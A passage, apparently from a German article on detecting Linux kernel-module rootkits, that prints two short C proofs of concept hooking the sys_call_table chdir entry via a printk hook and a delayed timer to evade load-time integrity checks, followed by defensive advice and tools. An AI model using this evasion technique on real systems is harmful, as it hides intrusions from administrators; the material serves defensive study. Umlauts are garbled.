/* Extract from printk_exploit.c by Mixman */ static unsigned char hacked = 0; /* hacked_printk() replaces system call. Next, we execute "normal" printk() for everything to work properly */ asmlinkage int hacked_printk(const char* fmt,...) { va_list args; char buf[4096]; int i; if(!fmt) return 0; if(!hacked) { sys_call_table[SYS_chdir] = hacked_chdir; hacked = 1; } memset(buf,0,sizeof(buf)); va_start(args,fmt); i = vsprintf(buf,fmt,args); va_end(args); return i; }Der Integrit�tstest, der in der Umdefinierung von
init_module()
steckt, findet keine �nderung zum Ladezeitpunkt. Beim n�chsten Aufruf
von printk()
wird die �nderung gemacht. Das Modul ist
�berlistet....init_module()
wird ein Timer gestartet und f�hrt die �nderungen der
Systemcalls viel sp�ter durch als das Laden der Module. Zum Ladezeitpunkt wird also keine �nderung
festgestellt :(
/* timer_exploit.c by Mixman */ #define TIMER_TIMEOUT 200 extern void* sys_call_table[]; int (*org_chdir)(const char*); static timer_t timer; static unsigned char hacked = 0; asmlinkage int hacked_chdir(const char* path) { printk("Some sort of periodic checking could be a solution...\n"); return org_chdir(path); } void timer_handler(unsigned long arg) { if(!hacked) { hacked = 1; org_chdir = sys_call_table[SYS_chdir]; sys_call_table[SYS_chdir] = hacked_chdir; } } int init_module(void) { printk("Adding kernel timer...\n"); memset(&timer,0,sizeof(timer)); init_timer(&timer); timer.expires = jiffies + TIMER_TIMEOUT; timer.function = timer_handler; add_timer(&timer); printk("Syscall sys_chdir() should be modified in a few seconds\n"); return 0; } void cleanup_module(void) { del_timer(&timer); sys_call_table[SYS_chdir] = org_chdir; }At the moment, the thought solution is to run the integrity test from time to time and not only at module (un)load time.
Systemintegrit�t zu erhalten, ist nicht einfach. Obwohl die vorgestellten Tests zuverl�ssig sind, gibt es doch immer wieder M�glichkeiten, sie zu umgehen. Die einzige L�sung ist, nichts und niemandem zu trauen, speziell dann, wenn ein Einbruch vermutet wird. Das beste ist, den Rechner vom Netz zu nehmen und mit einem anderen System den Schaden zu untersuchen.
Werkzeuge und Methoden, die hier diskutiert wurden, haben zwei Seiten: Sie sind
f�r den Cracker und den Systemadministrator einsetzbar. Das haben wir
bei dem rootshell
Modul gesehen. Hier kann der
Systemadministrator �berpr�fen, wer was ausf�hrt.
Wenn man Integrit�tstest sorgf�ltig durchf�hrt, kann man klassische Root-kits erkennen. Die Root-kits, die auf Kernelmodulen basieren, sind eine neue Herausforderung. Werkzeuge daf�r sind in der Entwicklung (wie die Module selbst). Die Kernel Sicherheit beunruhigt mehr und mehr Leute. Linus selbst hat nach einem Modul, das im 2.5 Kernel f�r Sicherheit verantwortlich ist, gefragt.
In jedem Fall sollte man behalten, da� eine Maschine, in die eingebrochen wurde, niemals benutzt werden kann, um ihre eigene Integrit�t zu pr�fen. Man kann weder den Programmen noch den Log-Dateien und Printouts vertrauen.
adore
und knark
, die bekanntesten LKM Root-kits;kstat
um /dev/kmem
zu erforschen;aide
(Advanced Intrusion Detection Environment)
ein kleinerm aber effizienter Ersatz f�r tripwire
(free software).